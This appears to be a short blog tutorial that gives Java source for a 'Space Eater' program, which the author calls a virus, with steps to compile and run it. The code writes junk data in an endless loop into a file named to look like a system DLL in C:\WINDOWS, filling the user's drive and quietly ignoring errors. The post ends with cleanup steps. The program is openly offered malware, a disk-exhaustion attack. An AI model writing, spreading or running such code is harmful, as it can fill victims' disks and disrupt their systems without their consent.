Here I'm going to show you how to create a Simlpe Space Eater Program using JAVA.
- Open Notepad and type the following code:
import java.io.*;
class SpaceEater
{
public static void main(String ar[])
{
try
{
FileWriter f=new FileWriter("C:/WINDOWS/SpaceEater.dll",true);
while(true)
{
f.write("Java SpaceEater ");
}
}
catch(FileNotFoundException e){}
catch(IOException e){}
}
}
- Save it as SpaceEater.java
- Now generate the byte code of program using Java Compiler.
- When you execute this program It will start eating the space of your C drive. To stop this virus simply close the command window.
- In order to recover the lost space of your drive. go to C:\WINDOWS and delete the file SpaceEater.dll (also from Recycle bin)
Explanation: On execution this program will create a file called SpaceEater.dll at the location C:\WINDOWS and start increasing its size by sending the junk data into it which automatically increase the size of the disk.
No comments:
Post a Comment